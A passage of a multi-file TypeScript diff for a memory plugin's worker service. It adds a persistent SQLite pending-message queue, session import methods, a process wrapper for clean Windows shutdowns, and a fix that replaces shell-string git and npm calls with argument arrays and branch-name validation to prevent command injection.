`);
stmt.run(now, messageId);
}
}
/**
* Reset stuck messages (processing -> pending if stuck longer than threshold)
* @param thresholdMs Messages processing longer than this are considered stuck (0 = reset all)
* @returns Number of messages reset
*/
resetStuckMessages(thresholdMs: number): number {
const cutoff = thresholdMs === 0 ? Date.now() : Date.now() - thresholdMs;
const stmt = this.db.prepare(`
UPDATE pending_messages
SET status = 'pending', started_processing_at_epoch = NULL
WHERE status = 'processing' AND started_processing_at_epoch < ?
`);
const result = stmt.run(cutoff);
return result.changes;
}
/**
* Get count of pending messages for a session
*/
getPendingCount(sessionDbId: number): number {
const stmt = this.db.prepare(`
SELECT COUNT(*) as count FROM pending_messages
WHERE session_db_id = ? AND status IN ('pending', 'processing')
`);
const result = stmt.get(sessionDbId) as { count: number };
return result.count;
}
/**
* Check if any session has pending work
*/
hasAnyPendingWork(): boolean {
const stmt = this.db.prepare(`
SELECT COUNT(*) as count FROM pending_messages
WHERE status IN ('pending', 'processing')
`);
const result = stmt.get() as { count: number };
return result.count > 0;
}
/**
* Get all session IDs that have pending messages (for recovery on startup)
*/
getSessionsWithPendingMessages(): number[] {
const stmt = this.db.prepare(`
SELECT DISTINCT session_db_id FROM pending_messages
WHERE status IN ('pending', 'processing')
`);
const results = stmt.all() as { session_db_id: number }[];
return results.map(r => r.session_db_id);
}
/**
* Get session info for a pending message (for recovery)
*/
getSessionInfoForMessage(messageId: number): { sessionDbId: number; claudeSessionId: string } | null {
const stmt = this.db.prepare(`
SELECT session_db_id, claude_session_id FROM pending_messages WHERE id = ?
`);
const result = stmt.get(messageId) as { session_db_id: number; claude_session_id: string } | undefined;
return result ? { sessionDbId: result.session_db_id, claudeSessionId: result.claude_session_id } : null;
}
/**
* Cleanup old processed messages (retention policy)
* Keeps the most recent N processed messages, deletes the rest
* @param retentionCount Number of processed messages to keep (default: 100)
* @returns Number of messages deleted
*/
cleanupProcessed(retentionCount: number = 100): number {
const stmt = this.db.prepare(`
DELETE FROM pending_messages
WHERE status = 'processed'
AND id NOT IN (
SELECT id FROM pending_messages
WHERE status = 'processed'
ORDER BY completed_at_epoch DESC
LIMIT ?
)
`);
const result = stmt.run(retentionCount);
return result.changes;
}
/**
* Convert a PersistentPendingMessage back to PendingMessage format
*/
toPendingMessage(persistent: PersistentPendingMessage): PendingMessage {
return {
type: persistent.message_type,
tool_name: persistent.tool_name || undefined,
tool_input: persistent.tool_input ? JSON.parse(persistent.tool_input) : undefined,
tool_response: persistent.tool_response ? JSON.parse(persistent.tool_response) : undefined,
prompt_number: persistent.prompt_number || undefined,
cwd: persistent.cwd || undefined,
last_user_message: persistent.last_user_message || undefined,
last_assistant_message: persistent.last_assistant_message || undefined
};
}
}
+294
View File
@@ -40,6 +40,7 @@ export class SessionStore {
this.makeObservationsTextNullable();
this.createUserPromptsTable();
this.ensureDiscoveryTokensColumn();
this.createPendingMessagesTable();
}
/**
@@ -545,6 +546,61 @@ export class SessionStore {
}
}
/**
* Create pending_messages table for persistent work queue (migration 16)
* Messages are persisted before processing and deleted after success.
* Enables recovery from SDK hangs and worker crashes.
*/
private createPendingMessagesTable(): void {
try {
// Check if migration already applied
const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(16) as SchemaVersion | undefined;
if (applied) return;
// Check if table already exists
const tables = this.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name='pending_messages'").all() as TableNameRow[];
if (tables.length > 0) {
this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(16, new Date().toISOString());
return;
}
console.log('[SessionStore] Creating pending_messages table...');
this.db.run(`
CREATE TABLE pending_messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_db_id INTEGER NOT NULL,
claude_session_id TEXT NOT NULL,
message_type TEXT NOT NULL CHECK(message_type IN ('observation', 'summarize')),
tool_name TEXT,
tool_input TEXT,
tool_response TEXT,
cwd TEXT,
last_user_message TEXT,
last_assistant_message TEXT,
prompt_number INTEGER,
status TEXT NOT NULL DEFAULT 'pending' CHECK(status IN ('pending', 'processing', 'processed', 'failed')),
retry_count INTEGER NOT NULL DEFAULT 0,
created_at_epoch INTEGER NOT NULL,
started_processing_at_epoch INTEGER,
completed_at_epoch INTEGER,
FOREIGN KEY (session_db_id) REFERENCES sdk_sessions(id) ON DELETE CASCADE
)
`);
this.db.run('CREATE INDEX IF NOT EXISTS idx_pending_messages_session ON pending_messages(session_db_id)');
this.db.run('CREATE INDEX IF NOT EXISTS idx_pending_messages_status ON pending_messages(status)');
this.db.run('CREATE INDEX IF NOT EXISTS idx_pending_messages_claude_session ON pending_messages(claude_session_id)');
this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(16, new Date().toISOString());
console.log('[SessionStore] pending_messages table created successfully');
} catch (error: any) {
console.error('[SessionStore] Pending messages table migration error:', error.message);
throw error;
}
}
/**
* Get recent session summaries for a project
*/
@@ -983,6 +1039,36 @@ export class SessionStore {
return stmt.get(id) || null;
}
/**
* Get SDK sessions by SDK session IDs
* Used for exporting session metadata
*/
getSdkSessionsBySessionIds(sdkSessionIds: string[]): {
id: number;
claude_session_id: string;
sdk_session_id: string;
project: string;
user_prompt: string;
started_at: string;
started_at_epoch: number;
completed_at: string | null;
completed_at_epoch: number | null;
status: string;
}[] {
if (sdkSessionIds.length === 0) return [];
const placeholders = sdkSessionIds.map(() => '?').join(',');
const stmt = this.db.prepare(`
SELECT id, claude_session_id, sdk_session_id, project, user_prompt,
started_at, started_at_epoch, completed_at, completed_at_epoch, status
FROM sdk_sessions
WHERE sdk_session_id IN (${placeholders})
ORDER BY started_at_epoch DESC
`);
return stmt.all(...sdkSessionIds) as any[];
}
/**
* Find active SDK session for a Claude session
*/
@@ -1739,4 +1825,212 @@ export class SessionStore {
close(): void {
this.db.close();
}
// ===========================================
// Import Methods (for import-memories script)
// ===========================================
/**
* Import SDK session with duplicate checking
* Returns: { imported: boolean, id: number }
*/
importSdkSession(session: {
claude_session_id: string;
sdk_session_id: string;
project: string;
user_prompt: string;
started_at: string;
started_at_epoch: number;
completed_at: string | null;
completed_at_epoch: number | null;
status: string;
}): { imported: boolean; id: number } {
// Check if session already exists
const existing = this.db.prepare(
'SELECT id FROM sdk_sessions WHERE claude_session_id = ?'
).get(session.claude_session_id) as { id: number } | undefined;
if (existing) {
return { imported: false, id: existing.id };
}
const stmt = this.db.prepare(`
INSERT INTO sdk_sessions (
claude_session_id, sdk_session_id, project, user_prompt,
started_at, started_at_epoch, completed_at, completed_at_epoch, status
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const result = stmt.run(
session.claude_session_id,
session.sdk_session_id,
session.project,
session.user_prompt,
session.started_at,
session.started_at_epoch,
session.completed_at,
session.completed_at_epoch,
session.status
);
return { imported: true, id: result.lastInsertRowid as number };
}
/**
* Import session summary with duplicate checking
* Returns: { imported: boolean, id: number }
*/
importSessionSummary(summary: {
sdk_session_id: string;
project: string;
request: string | null;
investigated: string | null;
learned: string | null;
completed: string | null;
next_steps: string | null;
files_read: string | null;
files_edited: string | null;
notes: string | null;
prompt_number: number | null;
discovery_tokens: number;
created_at: string;
created_at_epoch: number;
}): { imported: boolean; id: number } {
// Check if summary already exists for this session
const existing = this.db.prepare(
'SELECT id FROM session_summaries WHERE sdk_session_id = ?'
).get(summary.sdk_session_id) as { id: number } | undefined;
if (existing) {
return { imported: false, id: existing.id };
}
const stmt = this.db.prepare(`
INSERT INTO session_summaries (
sdk_session_id, project, request, investigated, learned,
completed, next_steps, files_read, files_edited, notes,
prompt_number, discovery_tokens, created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const result = stmt.run(
summary.sdk_session_id,
summary.project,
summary.request,
summary.investigated,
summary.learned,
summary.completed,
summary.next_steps,
summary.files_read,
summary.files_edited,
summary.notes,
summary.prompt_number,
summary.discovery_tokens || 0,
summary.created_at,
summary.created_at_epoch
);
return { imported: true, id: result.lastInsertRowid as number };
}
/**
* Import observation with duplicate checking
* Duplicates are identified by sdk_session_id + title + created_at_epoch
* Returns: { imported: boolean, id: number }
*/
importObservation(obs: {
sdk_session_id: string;
project: string;
text: string | null;
type: string;
title: string | null;
subtitle: string | null;
facts: string | null;
narrative: string | null;
concepts: string | null;
files_read: string | null;
files_modified: string | null;
prompt_number: number | null;
discovery_tokens: number;
created_at: string;
created_at_epoch: number;
}): { imported: boolean; id: number } {
// Check if observation already exists
const existing = this.db.prepare(`
SELECT id FROM observations
WHERE sdk_session_id = ? AND title = ? AND created_at_epoch = ?
`).get(obs.sdk_session_id, obs.title, obs.created_at_epoch) as { id: number } | undefined;
if (existing) {
return { imported: false, id: existing.id };
}
const stmt = this.db.prepare(`
INSERT INTO observations (
sdk_session_id, project, text, type, title, subtitle,
facts, narrative, concepts, files_read, files_modified,
prompt_number, discovery_tokens, created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const result = stmt.run(
obs.sdk_session_id,
obs.project,
obs.text,
obs.type,
obs.title,
obs.subtitle,
obs.facts,
obs.narrative,
obs.concepts,
obs.files_read,
obs.files_modified,
obs.prompt_number,
obs.discovery_tokens || 0,
obs.created_at,
obs.created_at_epoch
);
return { imported: true, id: result.lastInsertRowid as number };
}
/**
* Import user prompt with duplicate checking
* Duplicates are identified by claude_session_id + prompt_number
* Returns: { imported: boolean, id: number }
*/
importUserPrompt(prompt: {
claude_session_id: string;
prompt_number: number;
prompt_text: string;
created_at: string;
created_at_epoch: number;
}): { imported: boolean; id: number } {
// Check if prompt already exists
const existing = this.db.prepare(`
SELECT id FROM user_prompts
WHERE claude_session_id = ? AND prompt_number = ?
`).get(prompt.claude_session_id, prompt.prompt_number) as { id: number } | undefined;
if (existing) {
return { imported: false, id: existing.id };
}
const stmt = this.db.prepare(`
INSERT INTO user_prompts (
claude_session_id, prompt_number, prompt_text,
created_at, created_at_epoch
) VALUES (?, ?, ?, ?, ?)
`);
const result = stmt.run(
prompt.claude_session_id,
prompt.prompt_number,
prompt.prompt_text,
prompt.created_at,
prompt.created_at_epoch
);
return { imported: true, id: result.lastInsertRowid as number };
}
}
+144 -19
View File
@@ -118,8 +118,17 @@ export class WorkerService {
*/
private setupRoutes(): void {
// Health check endpoint
// TEST_BUILD_ID helps verify which build is running during debugging
const TEST_BUILD_ID = 'TEST-008-wrapper-ipc';
this.app.get('/api/health', (_req, res) => {
res.status(200).json({ status: 'ok' });
res.status(200).json({
status: 'ok',
build: TEST_BUILD_ID,
managed: process.env.CLAUDE_MEM_MANAGED === 'true',
hasIpc: typeof process.send === 'function',
platform: process.platform,
pid: process.pid,
});
});
// Version endpoint - returns the worker's current version
@@ -179,18 +188,43 @@ export class WorkerService {
// Admin endpoints for process management
this.app.post('/api/admin/restart', async (_req, res) => {
res.json({ status: 'restarting' });
setTimeout(async () => {
await this.shutdown();
process.exit(0);
}, 100);
// On Windows, if managed by wrapper, send message to parent to handle restart
// This solves the Windows zombie port problem where sockets aren't properly released
const isWindowsManaged = process.platform === 'win32' &&
process.env.CLAUDE_MEM_MANAGED === 'true' &&
process.send;
if (isWindowsManaged) {
logger.info('SYSTEM', 'Sending restart request to wrapper');
process.send!({ type: 'restart' });
} else {
// Unix or standalone Windows - handle restart ourselves
setTimeout(async () => {
await this.shutdown();
process.exit(0);
}, 100);
}
});
this.app.post('/api/admin/shutdown', async (_req, res) => {
res.json({ status: 'shutting_down' });
setTimeout(async () => {
await this.shutdown();
process.exit(0);
}, 100);
// On Windows, if managed by wrapper, send message to parent to handle shutdown
const isWindowsManaged = process.platform === 'win32' &&
process.env.CLAUDE_MEM_MANAGED === 'true' &&
process.send;
if (isWindowsManaged) {
logger.info('SYSTEM', 'Sending shutdown request to wrapper');
process.send!({ type: 'shutdown' });
} else {
// Unix or standalone Windows - handle shutdown ourselves
setTimeout(async () => {
await this.shutdown();
process.exit(0);
}, 100);
}
});
this.viewerRoutes.setupRoutes(this.app);
@@ -399,12 +433,32 @@ export class WorkerService {
/**
* Shutdown the worker service
*
* IMPORTANT: On Windows, we must kill all child processes before exiting
* to prevent zombie ports. The socket handle can be inherited by children,
* and if not properly closed, the port stays bound after process death.
*/
async shutdown(): Promise<void> {
// Shutdown all active sessions
logger.info('SYSTEM', 'Shutdown initiated');
// STEP 1: Enumerate all child processes BEFORE we start closing things
const childPids = await this.getChildProcesses(process.pid);
logger.info('SYSTEM', 'Found child processes', { count: childPids.length, pids: childPids });
// STEP 2: Close HTTP server first
if (this.server) {
this.server.closeAllConnections();
await new Promise<void>((resolve, reject) => {
this.server!.close(err => err ? reject(err) : resolve());
});
this.server = null;
logger.info('SYSTEM', 'HTTP server closed');
}
// STEP 3: Shutdown active sessions
await this.sessionManager.shutdownAll();
// Close MCP client connection (terminates MCP server process)
// STEP 4: Close MCP client connection (signals child to exit gracefully)
if (this.mcpClient) {
try {
await this.mcpClient.close();
@@ -414,19 +468,90 @@ export class WorkerService {
}
}
// Close HTTP server
if (this.server) {
await new Promise<void>((resolve, reject) => {
this.server!.close(err => err ? reject(err) : resolve());
});
}
// Close database connection (includes ChromaSync cleanup)
// STEP 5: Close database connection (includes ChromaSync cleanup)
await this.dbManager.close();
// STEP 6: Force kill any remaining child processes (Windows zombie port fix)
if (childPids.length > 0) {
logger.info('SYSTEM', 'Force killing remaining children');
for (const pid of childPids) {
await this.forceKillProcess(pid);
}
// Wait for children to fully exit
await this.waitForProcessesExit(childPids, 5000);
}
logger.info('SYSTEM', 'Worker shutdown complete');
}
/**
* Get all child process PIDs (Windows-specific)
*/
private async getChildProcesses(parentPid: number): Promise<number[]> {
if (process.platform !== 'win32') {
return [];
}
try {
const cmd = `powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq ${parentPid} } | Select-Object -ExpandProperty ProcessId"`;
const { stdout } = await execAsync(cmd, { timeout: 5000 });
return stdout
.trim()
.split('\n')
.map(s => parseInt(s.trim(), 10))
.filter(n => !isNaN(n));
} catch (error) {
logger.warn('SYSTEM', 'Failed to enumerate child processes', {}, error as Error);
return [];
}
}
/**
* Force kill a process by PID (Windows: uses taskkill /F /T)
*/
private async forceKillProcess(pid: number): Promise<void> {
try {
if (process.platform === 'win32') {
// /T kills entire process tree, /F forces termination
await execAsync(`taskkill /PID ${pid} /T /F`, { timeout: 5000 });
logger.info('SYSTEM', 'Killed process', { pid });
} else {
process.kill(pid, 'SIGKILL');
}
} catch (error) {
// Process may already be dead, which is fine
logger.debug('SYSTEM', 'Process already dead or kill failed', { pid });
}
}
/**
* Wait for processes to fully exit
*/
private async waitForProcessesExit(pids: number[], timeoutMs: number): Promise<void> {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const stillAlive = pids.filter(pid => {
try {
process.kill(pid, 0); // Signal 0 checks if process exists
return true;
} catch {
return false;
}
});
if (stillAlive.length === 0) {
logger.info('SYSTEM', 'All child processes exited');
return;
}
logger.debug('SYSTEM', 'Waiting for processes to exit', { stillAlive });
await new Promise(r => setTimeout(r, 100));
}
logger.warn('SYSTEM', 'Timeout waiting for child processes to exit');
}
/**
* Summarize request body for logging
* Used to avoid logging sensitive data or large payloads
+12 -1
View File
@@ -14,13 +14,14 @@ export interface ActiveSession {
sdkSessionId: string | null;
project: string;
userPrompt: string;
pendingMessages: PendingMessage[];
pendingMessages: PendingMessage[]; // Deprecated: now using persistent store, kept for compatibility
abortController: AbortController;
generatorPromise: Promise<void> | null;
lastPromptNumber: number;
startTime: number;
cumulativeInputTokens: number; // Track input tokens for discovery cost
cumulativeOutputTokens: number; // Track output tokens for discovery cost
pendingProcessingIds: Set<number>; // Track ALL message IDs yielded but not yet processed
}
export interface PendingMessage {
@@ -34,6 +35,16 @@ export interface PendingMessage {
last_assistant_message?: string;
}
/**
* PendingMessage with database ID for completion tracking.
* The _persistentId is used to mark the message as processed after SDK success.
* The _originalTimestamp is the epoch when the message was first queued (for accurate observation timestamps).
*/
export interface PendingMessageWithId extends PendingMessage {
_persistentId: number;
_originalTimestamp: number;
}
export interface ObservationData {
tool_name: string;
tool_input: any;
+152
View File
@@ -0,0 +1,152 @@
/**
* Worker Wrapper - Manages worker process lifecycle
*
* This wrapper exists to solve the Windows zombie port problem.
* The wrapper spawns the actual worker as a child process.
* When restart/shutdown is requested, the wrapper kills the child
* and respawns it (or exits), ensuring clean socket cleanup.
*
* The wrapper itself has no sockets, so Bun's socket cleanup bug
* doesn't affect it.
*/
import { spawn, ChildProcess, execSync } from 'child_process';
import path from 'path';
const isWindows = process.platform === 'win32';
const SCRIPT_DIR = __dirname;
const INNER_SCRIPT = path.join(SCRIPT_DIR, 'worker-service.cjs');
let inner: ChildProcess | null = null;
let isShuttingDown = false;
function log(msg: string) {
const timestamp = new Date().toISOString();
console.log(`[${timestamp}] [wrapper] ${msg}`);
}
function spawnInner() {
log(`Spawning inner worker: ${INNER_SCRIPT}`);
inner = spawn(process.execPath, [INNER_SCRIPT], {
stdio: ['inherit', 'inherit', 'inherit', 'ipc'],
env: { ...process.env, CLAUDE_MEM_MANAGED: 'true' },
cwd: path.dirname(INNER_SCRIPT),
});
inner.on('message', async (msg: { type: string }) => {
if (msg.type === 'restart' || msg.type === 'shutdown') {
// Both restart and shutdown: kill inner and exit wrapper
// The hooks will start a fresh wrapper+inner if needed
log(`${msg.type} requested by inner`);
isShuttingDown = true;
await killInner();
log('Exiting wrapper');
process.exit(0);
}
});
inner.on('exit', (code, signal) => {
log(`Inner exited with code=${code}, signal=${signal}`);
inner = null;
// If inner crashed unexpectedly (not during shutdown), respawn it
if (!isShuttingDown && code !== 0) {
log('Inner crashed, respawning in 1 second...');
setTimeout(() => spawnInner(), 1000);
}
});
inner.on('error', (err) => {
log(`Inner error: ${err.message}`);
});
}
async function killInner(): Promise<void> {
if (!inner || !inner.pid) {
log('No inner process to kill');
return;
}
const pid = inner.pid;
log(`Killing inner process tree (pid=${pid})`);
if (isWindows) {
// On Windows, use taskkill /T /F to kill entire process tree
// This ensures all children (MCP server, ChromaSync, etc.) are killed
// which is necessary to properly release the socket
try {
execSync(`taskkill /PID ${pid} /T /F`, { timeout: 10000, stdio: 'ignore' });
log(`taskkill completed for pid=${pid}`);
} catch (error) {
// Process may already be dead
log(`taskkill failed (process may be dead): ${error}`);
}
} else {
// On Unix, SIGTERM then SIGKILL
inner.kill('SIGTERM');
// Wait for exit with timeout
const exitPromise = new Promise<void>(resolve => {
if (!inner) {
resolve();
return;
}
inner.on('exit', () => resolve());
});
const timeoutPromise = new Promise<void>(resolve =>
setTimeout(() => resolve(), 5000)
);
await Promise.race([exitPromise, timeoutPromise]);
// Force kill if still alive
if (inner && !inner.killed) {
log('Inner did not exit gracefully, force killing');
inner.kill('SIGKILL');
}
}
// Wait for the process to fully exit
await waitForProcessExit(pid, 5000);
inner = null;
log('Inner process terminated');
}
async function waitForProcessExit(pid: number, timeoutMs: number): Promise<void> {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
try {
process.kill(pid, 0); // Check if process exists
await new Promise(r => setTimeout(r, 100));
} catch {
// Process is dead
return;
}
}
log(`Timeout waiting for process ${pid} to exit`);
}
// Handle wrapper signals
process.on('SIGTERM', async () => {
log('Wrapper received SIGTERM');
isShuttingDown = true;
await killInner();
process.exit(0);
});
process.on('SIGINT', async () => {
log('Wrapper received SIGINT');
isShuttingDown = true;
await killInner();
process.exit(0);
});
// Start the inner worker
log('Wrapper starting');
spawnInner();
+84 -26
View File
@@ -5,7 +5,7 @@
* The installed plugin at ~/.claude/plugins/marketplaces/thedotmack/ is a git repo.
*/
import { execSync } from 'child_process';
import { execSync, spawnSync } from 'child_process';
import { existsSync, unlinkSync } from 'fs';
import { homedir } from 'os';
import { join } from 'path';
@@ -13,6 +13,21 @@ import { logger } from '../../utils/logger.js';
const INSTALLED_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack');
/**
* Validate branch name to prevent command injection
* Only allows alphanumeric, hyphens, underscores, forward slashes, and dots
*/
function isValidBranchName(branchName: string): boolean {
if (!branchName || typeof branchName !== 'string') {
return false;
}
// Git branch name validation: alphanumeric, hyphen, underscore, slash, dot
// Must not start with dot, hyphen, or slash
// Must not contain double dots (..)
const validBranchRegex = /^[a-zA-Z0-9][a-zA-Z0-9._/-]*$/;
return validBranchRegex.test(branchName) && !branchName.includes('..');
}
// Timeout constants
const GIT_COMMAND_TIMEOUT_MS = 30_000;
const NPM_INSTALL_TIMEOUT_MS = 120_000;
@@ -35,27 +50,54 @@ export interface SwitchResult {
}
/**
* Execute git command in installed plugin directory
* Execute git command in installed plugin directory using safe array-based arguments
* SECURITY: Uses spawnSync with argument array to prevent command injection
*/
function execGit(command: string): string {
return execSync(`git ${command}`, {
function execGit(args: string[]): string {
const result = spawnSync('git', args, {
cwd: INSTALLED_PLUGIN_PATH,
encoding: 'utf-8',
timeout: GIT_COMMAND_TIMEOUT_MS,
windowsHide: true
}).trim();
windowsHide: true,
shell: false // CRITICAL: Never use shell with user input
});
if (result.error) {
throw result.error;
}
if (result.status !== 0) {
throw new Error(result.stderr || result.stdout || 'Git command failed');
}
return result.stdout.trim();
}
/**
* Execute shell command in installed plugin directory
* Execute npm command in installed plugin directory using safe array-based arguments
* SECURITY: Uses spawnSync with argument array to prevent command injection
*/
function execShell(command: string, timeoutMs: number = DEFAULT_SHELL_TIMEOUT_MS): string {
return execSync(command, {
function execNpm(args: string[], timeoutMs: number = NPM_INSTALL_TIMEOUT_MS): string {
const isWindows = process.platform === 'win32';
const npmCmd = isWindows ? 'npm.cmd' : 'npm';
const result = spawnSync(npmCmd, args, {
cwd: INSTALLED_PLUGIN_PATH,
encoding: 'utf-8',
timeout: timeoutMs,
windowsHide: true
}).trim();
windowsHide: true,
shell: false // CRITICAL: Never use shell with user input
});
if (result.error) {
throw result.error;
}
if (result.status !== 0) {
throw new Error(result.stderr || result.stdout || 'npm command failed');
}
return result.stdout.trim();
}
/**
@@ -77,10 +119,10 @@ export function getBranchInfo(): BranchInfo {
try {
// Get current branch
const branch = execGit('rev-parse --abbrev-ref HEAD');
const branch = execGit(['rev-parse', '--abbrev-ref', 'HEAD']);
// Check if dirty (has uncommitted changes)
const status = execGit('status --porcelain');
const status = execGit(['status', '--porcelain']);
const isDirty = status.length > 0;
// Determine if on beta branch
@@ -118,6 +160,14 @@ export function getBranchInfo(): BranchInfo {
* 6. Restart worker (handled by caller after response)
*/
export async function switchBranch(targetBranch: string): Promise<SwitchResult> {
// SECURITY: Validate branch name to prevent command injection
if (!isValidBranchName(targetBranch)) {
return {
success: false,
error: `Invalid branch name: ${targetBranch}. Branch names must be alphanumeric with hyphens, underscores, slashes, or dots.`
};
}
const info = getBranchInfo();
if (!info.isGitRepo) {
@@ -143,25 +193,25 @@ export async function switchBranch(targetBranch: string): Promise<SwitchResult>
// 1. Discard local changes (safe - user data is at ~/.claude-mem/)
logger.debug('BRANCH', 'Discarding local changes');
execGit('checkout -- .');
execGit('clean -fd'); // Remove untracked files too
execGit(['checkout', '--', '.']);
execGit(['clean', '-fd']); // Remove untracked files too
// 2. Fetch latest
logger.debug('BRANCH', 'Fetching from origin');
execGit('fetch origin');
execGit(['fetch', 'origin']);
// 3. Checkout target branch
logger.debug('BRANCH', 'Checking out branch', { branch: targetBranch });
try {
execGit(`checkout ${targetBranch}`);
execGit(['checkout', targetBranch]);
} catch {
// Branch might not exist locally, try tracking remote
execGit(`checkout -b ${targetBranch} origin/${targetBranch}`);
execGit(['checkout', '-b', targetBranch, `origin/${targetBranch}`]);
}
// 4. Pull latest
logger.debug('BRANCH', 'Pulling latest');
execGit(`pull origin ${targetBranch}`);
execGit(['pull', 'origin', targetBranch]);
// 5. Clear install marker and run npm install
const installMarker = join(INSTALLED_PLUGIN_PATH, '.install-version');
@@ -170,7 +220,7 @@ export async function switchBranch(targetBranch: string): Promise<SwitchResult>
}
logger.debug('BRANCH', 'Running npm install');
execShell('npm install', NPM_INSTALL_TIMEOUT_MS);
execNpm(['install'], NPM_INSTALL_TIMEOUT_MS);
logger.success('BRANCH', 'Branch switch complete', {
branch: targetBranch
@@ -186,8 +236,8 @@ export async function switchBranch(targetBranch: string): Promise<SwitchResult>
// Try to recover by checking out original branch
try {
if (info.branch) {
execGit(`checkout ${info.branch}`);
if (info.branch && isValidBranchName(info.branch)) {
execGit(['checkout', info.branch]);
}
} catch {
// Recovery failed, user needs manual intervention
@@ -214,21 +264,29 @@ export async function pullUpdates(): Promise<SwitchResult> {
}
try {
// SECURITY: Validate branch name before use
if (!isValidBranchName(info.branch)) {
return {
success: false,
error: `Invalid current branch name: ${info.branch}`
};
}
logger.info('BRANCH', 'Pulling updates', { branch: info.branch });
// Discard local changes first
execGit('checkout -- .');
execGit(['checkout', '--', '.']);
// Fetch and pull
execGit('fetch origin');
execGit(`pull origin ${info.branch}`);
execGit(['fetch', 'origin']);
execGit(['pull', 'origin', info.branch]);
// Clear install marker and reinstall
const installMarker = join(INSTALLED_PLUGIN_PATH, '.install-version');
if (existsSync(installMarker)) {
unlinkSync(installMarker);
}
execShell('npm install', NPM_INSTALL_TIMEOUT_MS);
execNpm(['install'], NPM_INSTALL_TIMEOUT_MS);
logger.success('BRANCH', 'Updates pulled', { branch: info.branch });
+1 -1
View File
@@ -18,7 +18,7 @@ export class FormattingService {
💡 Search Strategy:
1. Search with index to see titles, dates, IDs
2. Use timeline to get context around interesting results
3. Batch fetch full details: get_batch_observations(ids=[...])
3. Batch fetch full details: get_observations(ids=[...])
Tips:
Filter by type: obs_type="bugfix,feature"
+1 -1
View File
@@ -108,7 +108,7 @@ Settings and configuration (use domain services directly):
- Keep all existing behavior identical
**MCP vs Direct DB Split** (inherited, not changed in Phase 1):
- Search operations → MCP server (claude-mem-search)
- Search operations → MCP server (mem-search)
- Session/data operations → Direct DB access via domain services
## Future Phase 2
+23
View File
@@ -396,6 +396,29 @@ export class SDKAgent {
}
}
// CRITICAL: Mark ALL pending messages as successfully processed
// This prevents message loss if worker crashes before SDK finishes
const pendingMessageStore = this.sessionManager.getPendingMessageStore();
if (session.pendingProcessingIds.size > 0) {
for (const messageId of session.pendingProcessingIds) {
pendingMessageStore.markProcessed(messageId);
}
logger.debug('SDK', 'Messages marked as processed', {
sessionId: session.sessionDbId,
messageIds: Array.from(session.pendingProcessingIds),
count: session.pendingProcessingIds.size
});
session.pendingProcessingIds.clear();
// Clean up old processed messages (keep last 100 for UI display)
const deletedCount = pendingMessageStore.cleanupProcessed(100);
if (deletedCount > 0) {
logger.debug('SDK', 'Cleaned up old processed messages', {
deletedCount
});
}
}
// Broadcast activity status after processing (queue may have changed)
if (worker && typeof worker.broadcastProcessingStatus === 'function') {
worker.broadcastProcessingStatus();
+12 -1
View File
@@ -87,7 +87,7 @@ export class SearchManager {
try {
// Normalize URL-friendly params to internal format
const normalized = this.normalizeParams(args);
const { query, type, obs_type, concepts, files, ...options } = normalized;
const { query, type, obs_type, concepts, files, format, ...options } = normalized;
let observations: ObservationSearchResult[] = [];
let sessions: SessionSummarySearchResult[] = [];
let prompts: UserPromptSearchResult[] = [];
@@ -200,6 +200,17 @@ export class SearchManager {
const totalResults = observations.length + sessions.length + prompts.length;
// JSON format: return raw data for programmatic access (e.g., export scripts)
if (format === 'json') {
return {
observations,
sessions,
prompts,
totalResults,
query: query || ''
};
}
if (totalResults === 0) {
return {
content: [{
+150 -22
View File
@@ -11,18 +11,31 @@
import { EventEmitter } from 'events';
import { DatabaseManager } from './DatabaseManager.js';
import { logger } from '../../utils/logger.js';
import type { ActiveSession, PendingMessage, ObservationData } from '../worker-types.js';
import type { ActiveSession, PendingMessage, PendingMessageWithId, ObservationData } from '../worker-types.js';
import { PendingMessageStore } from '../sqlite/PendingMessageStore.js';
export class SessionManager {
private dbManager: DatabaseManager;
private sessions: Map<number, ActiveSession> = new Map();
private sessionQueues: Map<number, EventEmitter> = new Map();
private onSessionDeletedCallback?: () => void;
private pendingStore: PendingMessageStore | null = null;
constructor(dbManager: DatabaseManager) {
this.dbManager = dbManager;
}
/**
* Get or create PendingMessageStore (lazy initialization to avoid circular dependency)
*/
private getPendingStore(): PendingMessageStore {
if (!this.pendingStore) {
const sessionStore = this.dbManager.getSessionStore();
this.pendingStore = new PendingMessageStore(sessionStore.db, 3);
}
return this.pendingStore;
}
/**
* Set callback to be called when a session is deleted (for broadcasting status)
*/
@@ -103,7 +116,8 @@ export class SessionManager {
lastPromptNumber: promptNumber || this.dbManager.getSessionStore().getPromptCounter(sessionDbId),
startTime: Date.now(),
cumulativeInputTokens: 0,
cumulativeOutputTokens: 0
cumulativeOutputTokens: 0,
pendingProcessingIds: new Set()
};
this.sessions.set(sessionDbId, session);
@@ -133,6 +147,9 @@ export class SessionManager {
/**
* Queue an observation for processing (zero-latency notification)
* Auto-initializes session if not in memory but exists in database
*
* CRITICAL: Persists to database FIRST before adding to in-memory queue.
* This ensures observations survive worker crashes.
*/
queueObservation(sessionDbId: number, data: ObservationData): void {
// Auto-initialize from database if needed (handles worker restarts)
@@ -143,14 +160,33 @@ export class SessionManager {
const beforeDepth = session.pendingMessages.length;
session.pendingMessages.push({
// CRITICAL: Persist to database FIRST
const message: PendingMessage = {
type: 'observation',
tool_name: data.tool_name,
tool_input: data.tool_input,
tool_response: data.tool_response,
prompt_number: data.prompt_number,
cwd: data.cwd
});
};
try {
const messageId = this.getPendingStore().enqueue(sessionDbId, session.claudeSessionId, message);
logger.debug('SESSION', `Observation persisted to DB`, {
sessionId: sessionDbId,
messageId,
tool: data.tool_name
});
} catch (error) {
logger.error('SESSION', 'Failed to persist observation to DB', {
sessionId: sessionDbId,
